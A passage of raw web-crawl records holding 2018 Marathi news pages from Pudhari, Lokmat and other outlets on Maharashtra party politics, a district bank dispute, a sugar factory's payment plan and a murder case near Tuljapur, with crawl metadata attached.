आधारे तिकीटवाटप झाले त्या सर्व्हेतच झोल झाल्याचा आरोप डावलल्या गेलेल्या...\nम. टा. प्रतिनिधी, औरंगाबाद महापालिकेच्या सोमवारी झालेल्या सर्वसाधारण सभेत पालकमंत्री रामदास कदम आणि खासदार चंद्रकांत खैरे यांच्यातील वादाचे पडसाद उमटले. कदम यांच्या...\nअशोक गोविंदपूरकर यांचा कॉंग्रेसमध्ये प्रवेश\nलातूर - महानगरपालिकेची निवडणूक जाहीर झाल्यानंतर सध्या सर्वच पक्षांत इनकमिंग-ऑऊट गोइंग सुरूच आहे. त्यात गुरुवारी (ता. 29) राष्ट्रवादी कॉंग्रेसचे प्रदेश सचिव माजी नगरसेवक...\nम. टा. प्रतिनिधी, खडकी ‘नारायण राणे अजूनही काँग्रेसमध्येच आहेत. ते कोठे जातील असे वाटत नाही. तशी काही चर्चा नाही. त्यामुळे या विषयावर बोलणे योग्य नाही,’ असे मत काँग्रेसचे...\nकाँग्रेस कार्यकर्ते दक्षिणेत सक्रिय, उत्तरेत थंड\nरत्नागिरी - काँग्रेसला रामराम करून नारायण राणेंनी स्वतंत्र वाट चोखळण्याचा निर्णय घेतल्यानंतर रत्नागिरी जिल्ह्याच्या दक्षिण भागात त्यांच्या समर्थकांनी राजीनामा सत्र सुरू...\nकाँग्रेस कार्यकर्ते दक्षिणेत सक्रिय, उत्तरेत थंड\nरत्नागिरी - काँग्रेसला रामराम करून नारायण राणेंनी स्वतंत्र वाट चोखळण्याचा निर्णय घेतल्यानंतर रत्नागिरी जिल्ह्याच्या दक्षिण भागात त्यांच्या समर्थकांनी राजीनामा सत्र सुरू केले; मात्र शिवसेना सोडल्यानंतर जे वातावरण होते, तसे काँग्रेस सोडल्यानंतर राहिले नसल्याचे जाणवत आहे. त्यातच उत्तर रत्नागिरीतील पाचही तालुक्‍यात राणेंची तेवढी ताकद नाही. राणे समर्थकांनी राजीनामा पवित्रा...\nम. टा. विशेष प्रतिनिधी, मुंबई नगरपालिका, महापालिका आणि जिल्हा परिषदांच्या निवडणुकीत भारतीय जनता पक्षाने बाजी मारल्यामुळे प्रदेश काँग्रेसमध्ये कमालीची अस्वस्थता असून, नारायण राणे यांच्यासह काही आमदारांनी या पराभवाचे खापर प्रदेशाध्यक्ष अशोक चव्हाण यांच्यावर फोडले आहे. चव्हाण यांना प्रदेशाध्यक्षपदावरून हटविले नाही तर आगामी ‌लोकसभा आणि विधानसभा निवडणुकीत काँग्रेसच्या पदरी पुन्हा...\nशहर काँग्रेसमध्ये गटबाजी शिगेला\nम. टा. प्रतिनिधी, नगर नगर शहर काँग्रेसअंतर्गत गटबाजी आता शिगेला पोचली आहे. विरोधी पक्षनेते राधाकृष्ण विखे व आमदार बाळासाहेब थोरात यांना मानणाऱ्या शहरातील कार्यकर्त्यांमध्ये वादावादीचे प्रकार सुरू असून, आगामी महापौर निवडीच्या राजकारणाची किनार या वादावादीला असल्याचे बोलले जाते. त्यामुळे विखे गटाचे समर्थक येत्या काही दिवसात प्रदेशाध्यक्ष अशोक चव्हाण यांची भेट घेऊन शहर जिल्हा...\n​ मुख्यमंत्री उगारणार ‘छडी’\nम. टा. प्रतिनिधी, पिंपरी: सोलापूर महापालिकेतील गटबाजी मोडून काढण्यासाठी बरखास्तीचा इशारा दिल्यानंतर मुख्यमंत्री देवेंद्र फडणवीस यांनी पुणे आणि पिंपरी-चिंचवड महानगरपालिकेकडे आपला मोर्चा वळविला आहे. पिंपरी-चिंचवड महापालिकेच्या पदाधिकाऱ्यांची येत्या मंगळवारी मुंबईत बैठक बोलावली असून, या वेळी जगताप-लांडगे गटांतील नगरसेवकांची झाडाझडती घेण्यात येण्याची शक्यता आहे. राज्यातील बहुतांश...\nकॉंग्रेसचे अस्तित्व टिकविण्यासाठी छाजेड कुटुंबीयांची होणार कसरत\nनाशिक - स्वातंत्र्यपूर्व काळापासून कॉंग्रेसशी एकनिष्ठ राहिलेल्या छाजेड कुटुंबीयांची जबाबदारी आगामी महापालिका निवडणुकीत वाढली आहे. निवडणुकीत राजकारणातील अनुभव पणाला लावून पक्षाबरोबरच स्वत:चे अस्तित्व दाखवून देण्याची हीच वेळ असल्याने सत्तेसाठी राजकारण ही भूमिका त्यांना सोडावी लागणार आहे. श्री. छाजेड यांना कॉंग्रेसमधूनच किती साथ मिळते, यावरही त्यांची राजकारणातील लढाई अवलंबून...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00274.warc.wet.gz", "language": "mr", "language_score": 0.84, "bucket": "all"} {"url": "https://lokmat.news18.com/national/rahul-gandhi-criticises-modi-275653.html", "date_download": "2018-09-25T16:58:34Z", "digest": "sha1:4ASQTUG3P4KGQJGFUUPX4ATLCBX3EBUP", "length": 14219, "nlines": 127, "source_domain": "lokmat.news18.com", "title": "काँग्रेस हिंदू मतांसाठी आटापिटा करतंय-गुजरात फकिर समाजाच्या अध्यक्षांची टीका", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nकाँग्रेस हिंदू मतांसाठी आटापिटा करतंय-गुजरात फकिर समाजाच्या अध्यक्षांची टीका\nगुजरातच्या सोमनाथ शहरात ५८ हजार मुस्लिम मतदार आहेत. तर १ लाखांपेक्षा मुस्लिमांची लोकसंख्या आहे. असं असतानाही आपल्याला राजकारणात स्थान दिलं जात नाही अशी खदखद इथल्या मुस्लिमांच्या मनात आहे.\n30 नोव्हेंबर: काँग्रेस हिंदु मतांसाठी आटापिटा करतंय अशी टीका गुजरात फकीर समाजाचे अध्यक्ष आनिकभाई यांनी केली आहे. तसंच आमच्याकडे सगळेच दुर्लक्ष करत आहेत असंही ते म्हणाले.\nगुजरातच्या सोमनाथ शहरात ५८ हजार मुस्लिम मतदार आहेत. तर १ लाखांपेक्षा मुस्लिमांची लोकसंख्या आहे. असं असतानाही आपल्याला राजकारणात स्थान दिलं जात नाही अशी खदखद इथल्या मुस्लिमांच्या मनात आहे. भाजप तर आम्हाला विचारतच नाही पण काॅंग्रेसही आमच्याकडे लक्ष द्यायला तयार नाहीयं अशी या समाजाची तक्रार आहे. राहूल गांधींची सोमनाथ मंदिरात काल अहिंदू म्हणून नोंद झाली होती. त्यानंतर याबाबतीत प्रचंड टीका झाली. मग काँग्रेसच् प्रवक्ते रणदीप सुरजेवाला यांनी राहुल गांधी जानवेधारी हिंदू असल्याचा खुलासा केला होता. तसंच ते हिंदू धर्माचं पालन करतात असंही त्यांनी सांगितलं होतं.\nहा खुलासा म्हणजे काँग्रेसनंही हिंदुंच्या मतांसाठी केलेला आटापिटा आहे अशी टीकाही गुजरात फकिर समाजाचे अध्यक्ष आनिकभाई यांनी केली आहे. आमच्या मुलभूत प्रश्नांकडे कोणाचंच लक्ष नाहीये असा आरोप इथले मुस्लिम करत आहेत.\nतर दुसरीकडे राहुल गांधी यांनी आपलाी मंदिर वारी सुरूच ठेवली आहे. त्यांनी आज बोटाड इथं स्वामी नारायण इथल्या मंदीराला भेट दिली आहे. पहिल्या टप्प्यात ८९ जागांपैकी ५४ जागा असलेल्या सौराष्ट्र आणि कच्छ भाग राहूल गांधी सध्या पिंजून काढत आहेत.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00274.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://www.maayboli.com/node/26106/by-subject/14", "date_download": "2018-09-25T17:49:10Z", "digest": "sha1:AFFONNWNO3FN5KLOAK522BMW6WQHULOU", "length": 3190, "nlines": 80, "source_domain": "www.maayboli.com", "title": "शब्दखुणा | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /घराची स्वच्छता /घराची स्वच्छता विषयवार यादी /शब्दखुणा\nघर पहावे बांधून (1)\nघरगुती उपद्रवी कीटके (1)\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nसुरुवात : मे 28 2011\nया ग्रूपचे सभासद व्हा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00274.warc.wet.gz", "language": "mr", "language_score": 0.8, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/Minister-of-State-for-Tribal-Development-Sudarshan-Bhagat-speech-in-kolhapur/", "date_download": "2018-09-25T17:28:37Z", "digest": "sha1:4C3TVHASZEZQTZT6I6DN6FFQNZN2YIUM", "length": 5388, "nlines": 35, "source_domain": "www.pudhari.news", "title": " कौशल्य विकासासाठी अधिकाधिक प्रयत्न करा | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › कौशल्य विकासासाठी अधिकाधिक प्रयत्न करा\nकौशल्य विकासासाठी अधिकाधिक प्रयत्न करा\nडोंगरी भागात राहणार्‍या अनुसूचित जमातीतील लोकांमध्ये अनेक अंगभूत कला असतात. अशा लोकांचे कौशल्य विकास करण्यासाठी अधिकाधिक प्रयत्न करावेत, असे प्रतिपादन केंद्रीय आदिवासी विकास राज्यमंत्री सुदर्शन भगत यांनी केले.\nविविध कार्यक्रमाच्या निमित्ताने मंत्री भगत सोमवारी कोल्हापूर दौर्‍यावर आले होते. मंगळवारी सकाळी त्यांनी आदिवासी घटक कार्यक्रमांतर्गत काम करणार्‍या कोल्हापूर, पुणे, सातारा, सांगली, सोलापूर जिल्ह्यातील अधिकार्‍यांची बैठक कोल्हापुरात घेतली. आदिवासींसाठी राबविण्यात येणार्‍या विविध योजनांचा आढावा घेण्यात आला. बैठकीला निवासी उपजिल्हाधिकारी संजय शिंदे, एकात्मिक आदिवासी प्रकल्प अधिकारी सोनकवडे उपस्थित होते.\nकोल्हापूर, सांगली, सातारा, सोलापूर, पुणे या पाच जिल्ह्यात अनुसूचित जमातीची लोकसंख्या 5,04,652 इतकी आहे. आदिवासी विकास विभागातर्फे डॉ. ए. पी.जे.अब्दुल कलाम अमृत आहार योजना, प्री. मॅट्रिक स्कॉलरशिप, नामांकित इंग्रजी शाळांमधून अनुसूचित जमातीतील विद्यार्थ्यांना शिक्षण, एकलव्य मॉडेल स्कूल, विविध घरकूल योजना, पंडित दीनदयाळ स्वयंयोजना आदी योजना राबवल्या जातात. या योजनांना निधी दिला जातो. यातून योजना राबविल्या जातात, या सर्वांची माहिती मंत्री भगत यांनी घेतली. तसेच आदिवासी विभागातील लोकांना मुख्य प्रवाहात आणावे, असेही त्यांनी सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00275.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/District-Bank-dismissal-proposal-problem/", "date_download": "2018-09-25T17:12:13Z", "digest": "sha1:CIJZCA2TBQITKBJDRG73Z5YJ2RSYFCNF", "length": 7397, "nlines": 51, "source_domain": "www.pudhari.news", "title": " जिल्हा बँक बरखास्तीचा प्रस्ताव बारगळणार | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › जिल्हा बँक बरखास्तीचा प्रस्ताव बारगळणार\nजिल्हा बँक बरखास्तीचा प्रस्ताव बारगळणार\nजिल्हा मध्यवर्ती सहकारी बँक बरखास्त करून प्रशासकाची नियुक्ती करण्यासंदर्भातील प्रस्ताव राज्याच्या सहकार विभागाने भारतीय रिझर्व्ह बँकेला पाच महिन्यांपूर्वीच सादर केला असून, हा प्रस्ताव अद्याप मंजुरीच्या प्रतीक्षेत आहे. मात्र नवनिर्वाचित अध्यक्ष केदा आहेर यांच्या कामगिरीकडे सगळ्यांचे लक्ष असून, त्यांचा कारभार काही काळ पहिल्यानंतरच सरकार याबाबत पावले टाकण्याची शक्यता आहे.\nआमदार डॉ. अपूर्व हिरे यांनी हिवाळी अधिवेशनात जिल्हा बँकेतील नोकरभरती संदर्भात प्रश्‍न उपस्थित केला होता. त्यावर सहकारमंत्री सुभाष देशमुख यांनी, बँकेने 16 कर्मचार्‍यांची रोजंदारीवर नेमणूक केल्याचे स्पष्ट केले. हे कर्मचारी कमी करण्याचेनिर्देश विभागीय सहनिबंधकांनी दिले. यासंदर्भात पुनर्विचार करण्याची बँकेची विनंती अमान्य करण्यात आल्याचेही देशमुख यांनी सांगितले.\nसहकारी संस्था अधिनियम 1960 च्या कलम 83 नुसार नियुक्त केलेल्या चौकशी अधिकार्‍याने दिलेल्या अहवालात बँकेच्या आर्थिक नुकसानीस संचालक मंडळास दोषी ठरविले. सर्व संचालकांची चौकशी सुरू आहे. अशीही माहिती दिली. नाबार्डच्या आक्षेपांची पूर्तता बँकेने केली नाही. त्यामुळे संचालक मंडळ बरखास्त करून बँकेवर प्रशासकाची नियुक्ती करण्याचा प्रस्ताव 12 जुलै 2017 ला रिझर्व्ह बँकेला सादर केल्याचेही देशमुख यांनी स्पष्ट केले. मात्र, आता हा प्रस्ताव बारगळण्याची चिन्हे आहेत.\nमुख्यमंत्र्यांच्या मंगळवारच्या नाशिक जिल्हा दौर्‍यानंतर, नवनिर्वाचित अध्यक्ष केदा आहेर बँकेचे कामकाज बुधवारी सुरु करणार आहेत. आपले कामकाज पूर्ण पारदर्शक राहील व बँकेला एक वर्षाच्या आत पुन्हा सक्षम बनविण्याचा मानस त्यांनी ‘पुढारी’शी बोलताना व्यक्त केला. बँकेशी जोडलेल्या शेकडो सहकारी संस्था आणि हजारो शेतकर्‍यांच्या हितासाठी काही कठोर निर्णय घेणे आपल्याला भाग आहे, असे संकेत आहेर यांनी दिले.\nजिल्हा बँक बरखास्तीचा प्रस्ताव बारगळणार\nनाशिकमध्ये ३.२ रिश्टर स्‍केलचे भूकंपाचे धक्के\n‘थर्टी फर्स्ट’ला तुकोबांचे नाव घ्याल तर याद राखा\nकुलूप तोडून घेतला वसंत मार्केटच्या टेरेसचा ताबा\nसलग सुट्ट्यांमुळे त्र्यंबक गजबजले\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00275.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/Sitaram-Sugar-Factory-four-day-Breakout-transportation-bill/", "date_download": "2018-09-25T17:13:57Z", "digest": "sha1:TXNY3IV6BLDYCUIDNCPJ4VWQ6LCA522F", "length": 6787, "nlines": 38, "source_domain": "www.pudhari.news", "title": " सीताराम साखर कारखाना तोडणी वाहतूक बिल दर चार दिवसाला | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › सीताराम साखर कारखाना तोडणी वाहतूक बिल दर चार दिवसाला\nसीताराम साखर कारखाना तोडणी वाहतूक बिल दर चार दिवसाला\nसीताराम महाराज साखर कारखान्यासाठी बिगर उचल ऊस तोडणी व वाहतूक ठेकेदारांची प्रत्येकी चार दिवसांची बिले विनाकपात रोखीने अदा करण्यात येतील. शेतकर्‍यांच्या अडचणी पाहून उपलब्ध जातीचा ऊस गाळपासाठी स्वीकारण्यात येईल, अशी माहिती कारखान्याचे कार्यकारी संचालक समाधान काळे यांनी दिली.\nकारखाना कार्यस्थळावर झालेल्या ऊस तोडणी वाहतूक ठेकेदारांच्या बैठकीप्रसंगी ते बोलत होते. याच वेळी शासनाच्या भरारी पथकाने अचानक भेट देऊन कारखान्याचे वजनकाटा तपासणी केला.\nमागील महिन्यापूर्वी सीताराम महाराज साखर कारखान्याने गळीत हंगाम सुरू केला असून नियमितपणे कारखान्याचे गाळप सुरू आहे. कारखान्याने बिगर उचल ऊस तोडणी व वाहतूक करणार्‍या ठेकेदारांना कोणत्याही प्रकारची रक्‍कम कपात न करता दर चार दिवसाला रोखीने बिले अदा करण्याची व्यवस्था केलेली आहे. सध्या वीज टंचाई व संभाव्य पाणी टंचाईचा विचार करता शेतकर्‍यांकडून उपलब्ध होईल त्या जातीचा ऊस तोडणी कार्यक्रम विचारात न घेता तोडण्यात येईल. शेतकर्‍यांना जिल्ह्यातील इतर साखर कारखान्याच्या बरोबरीने ऊस दर देण्याचा निर्णय संचालक मंडळाने घेतला असून जास्तीत जास्त शेतकर्‍यांनी ऊस पुरवठा करावा असे आवाहन कारखान्याचे कार्यकारी संचालक समाधान काळे यांनी केले आहे.\nकारखान्याचा वजनकाटा तपासणीसाठी तहसील कार्यालयाचे पुरवठा निरीक्षक जी. के. व्हनकडे, एस. जी. कुंभार. तालुका वजनकाटे निरीक्षक, पी. आर. शिंदे. तृतीय विशेष लेखा परीक्षक वर्ग 1 सहकारी संस्था साखर सोलापूर, विनोद शिंदे, तालुका पोलिस स्टेशन पंढरपूर तसेच शेतकरी संघयनेचे पदाधिकारी सचिन अरुण पाटील, संभाजी शिंदे व किर्तीकुमार गायकवाड यांचे भरारी पथकाने कारखान्याच्या वजनकाट्याची अचानक तपासणी केली. वजनकाटयाच्या तपासणीमध्ये ऊसाने भरलेल्या वाहनांचे कारखान्याचे वजनकाट्यावरील स्लीपचे वजन बरोबर असल्याचे पथक प्रमुख व्हनकडे यांनी सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00275.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/car-driver-murder-Threw-the-bodies-in-the-Dam/", "date_download": "2018-09-25T16:56:02Z", "digest": "sha1:BEVBVQGL42PI6BYQ7XEQ5YTUVZXTJPU6", "length": 8083, "nlines": 38, "source_domain": "www.pudhari.news", "title": " कारचालकाचा खून करून मृतदेह फेकला डॅममध्ये | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › कारचालकाचा खून करून मृतदेह फेकला डॅममध्ये\nकारचालकाचा खून करून मृतदेह फेकला डॅममध्ये\nनळदुर्ग : शिवाजी नाईक\nआलियाबाद (ता. तुळजापूर) येथील बेपत्ता कारचालकाचा अखेर पोलिसांनी दोन आठवड्यात तपास करुन छडा लावला आहे. दोघा आरोपींनी तरुण कारचालकाचे अपहरण करुन पैश्याच्या कारणावरुन त्याचा चाकूने भोसकून खून करुन पुरावा नष्ट करण्यासाठी मृतदेह कर्नाटक राज्यातील करंजा (जि. बिदर) डॅममध्ये फेकून दिल्याची कबुली आरोपींनी पोलिसांना दिली आहे.\nअजय व्यंकट राठोड (वय 24, रा. आलियाबाद, ता. तुळजापूर) असे खून झालेल्या कारचालकाचे नाव आहे. तर निसार मोदीन जमादार, सलीम ईलाही नदाफ (दोघे रा. सिंदगाव, ता. तुळजापूर) अशी संशयीत आरोपींची नावे आहेत.\nयातील अजय राठोड हा तरुण आपल्या स्विफ्ट कारमधून (एमएच 24 एयू 1507) पुण्याला भाडे घेऊन चाललो असे घरी सांगून 22 मे रोजी घरातून गेला होता. त्याला जाऊन 19 दिवस झाले तरी तो परत आला नाही, तसेच संपर्कही होत नसल्याने त्याचा भाऊ अविनाश व्यंकट राठोड याने नळदुर्ग पोलिस ठाण्यात 1 जून रोजी भावाचे अपहरण झाल्याची तक्रार दिली होती. दरम्यान, 29 मे रोजी सोलापूर येथील घरकुल परिसरात अक्कलकोट रस्त्यावर सोलापूर पोलिसांना त्याची स्विफ्ट कार बेवारस अवस्थेत मिळून आली.\nनळदुर्ग पोलिसांनी ती कार ताब्यात घेऊन पोलिस ठाण्यात आणून लावली. पोलिसांनी तपासाची चक्रे वेगाने फिरवून सिंदगाव (ता. तुळजापूर) येथून निसार मोदीन जमादार या तरुणाला 6 जून रोजी अटक केली. तर 13 जून रोजी सलीम ईलाही नदाफ या तरुणास अटक करुन न्यायालयात हजर केले असता न्यायालयाने पोलिस कोठडी सुनावली. पोलिस अधीक्षक पंकज देशमुख, अप्पर पोलिस अधीक्षक स्वाती भोर, उपविभागीय पोलिस अधिकारी संदीप घुगे यांच्या मार्गदर्शनाखाली नळदुर्ग पोलिस ठाण्याचे सहाय्यक पोलिस निरीक्षक संजीवन मिरकले, पोलिस उपनिरीक्षक संग्राम जाधव, स्थानिक गुन्हा अन्वेषण विभागाचे पोलिस निरीक्षक शेख दगडू यांच्यासह पाच पोलिसपथकांनी सोलापूरसह कर्नाटक राज्यातील अनेक ठिकाणी तपास केला. त्यामध्ये दहशतवाद विरोधी पथक, आपत्कालीन व्यवस्थापन पथक उस्मानाबाद हे सहभागी झाले होते.\nपोलिस तपासात मयत अजय राठोड व आरोपी यांची पूर्वीपासून ओळख होती, पैश्याच्या कारणावरुन आरोपींनी राठोड याचे अपहरण करुन त्याला बिदर जिल्ह्यातील करंजा डॅम येथे घेऊन गेले. त्याठिकाणी चाकुने राठोड याला जीवे मारुन त्याचा मृतदेह डॅममध्ये फेकून दिला. मात्र डॅमचे मोठे पात्र असल्याने पोलिस पथकाला राठोड याचा मृतदेह व चाकू हाती लागला नाही. दरम्यान, आरोपी निसार जमादार व सलीम नदाफ यांची 22 जून रोजी जेलमध्ये रवानगी करण्यात आल्याची माहिती दै.पुढारीशी बोलताना सहाय्यक पोलिस निरीक्षक संजीवन मिरकले यांनी सांगितली.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00275.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/devlopment-association-issue-in-press-association/", "date_download": "2018-09-25T17:35:05Z", "digest": "sha1:LGYGIGBUV6PVSG7VMCQYL4O5DGE4NLMO", "length": 7451, "nlines": 51, "source_domain": "www.pudhari.news", "title": " स्वतंत्र कल्याणकारी मंडळ स्थापन करा | पुढारी\tTop", "raw_content": "\nनेमबाज राही 